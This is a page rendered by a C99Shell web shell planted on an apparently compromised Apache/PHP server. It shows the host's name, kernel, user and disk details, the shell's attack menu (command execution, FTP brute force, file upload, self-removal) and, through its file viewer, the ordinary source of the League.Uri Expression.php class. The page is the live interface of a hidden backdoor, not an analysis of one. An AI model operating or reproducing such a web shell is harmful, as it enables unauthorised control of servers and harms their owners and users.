!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/league/uri/UriTemplate/   drwxr-xr-x
Free 26.56 GB of 117.98 GB (22.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Expression.php (2.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * League.Uri (https://uri.thephpleague.com)
 *
 * (c) Ignace Nyamagana Butera <nyamsprod@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

declare(strict_types=1);

namespace 
League\Uri\UriTemplate;

use 
Deprecated;
use 
League\Uri\Exceptions\SyntaxError;
use 
Stringable;

use function 
array_filter;
use function 
array_map;
use function 
array_unique;
use function 
explode;
use function 
implode;

/**
 * @internal The class exposes the internal representation of an Expression and its usage
 * @link https://www.rfc-editor.org/rfc/rfc6570#section-2.2
 */
final class Expression
{
    
/** @var array<VarSpecifier> */
    
private readonly array $varSpecifiers;
    
/** @var array<string> */
    
public readonly array $variableNames;
    public readonly 
string $value;

    private function 
__construct(public readonly Operator $operatorVarSpecifier ...$varSpecifiers)
    {
        
$this->varSpecifiers $varSpecifiers;
        
$this->variableNames array_unique(
            
array_map(
                static fn (
VarSpecifier $varSpecifier): string => $varSpecifier->name,
                
$varSpecifiers
            
)
        );
        
$this->value '{'.$operator->value.implode(','array_map(
            static fn (
VarSpecifier $varSpecifier): string => $varSpecifier->toString(),
            
$varSpecifiers
        
)).'}';
    }

    
/**
     * @throws SyntaxError if the expression is invalid
     */
    
public static function new(Stringable|string $expression): self
    
{
        
$parts Operator::parseExpression($expression);

        return new 
Expression($parts['operator'], ...array_map(
            static fn (
string $varSpec): VarSpecifier => VarSpecifier::new($varSpec),
            
explode(','$parts['variables'])
        ));
    }

    
/**
     * DEPRECATION WARNING! This method will be removed in the next major point release.
     *
     * @throws SyntaxError if the expression is invalid
     * @see Expression::new()
     *
     * @deprecated Since version 7.0.0
     * @codeCoverageIgnore
     */
    
#[Deprecated(message:'use League\Uri\UriTemplate\Exppression::new() instead'since:'league/uri:7.0.0')]
    public static function 
createFromString(Stringable|string $expression): self
    
{
        return 
self::new($expression);
    }

    public function 
expand(VariableBag $variables): string
    
{
        
$expanded implode(
            
$this->operator->separator(),
            
array_filter(
                
array_map(
                    fn (
VarSpecifier $varSpecifier): string => $this->operator->expand($varSpecifier$variables),
                    
$this->varSpecifiers
                
),
                static fn (
$value): bool => '' !== $value
            
)
        );

        return match (
'') {
            
$expanded => '',
            default => 
$this->operator->first().$expanded,
        };
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--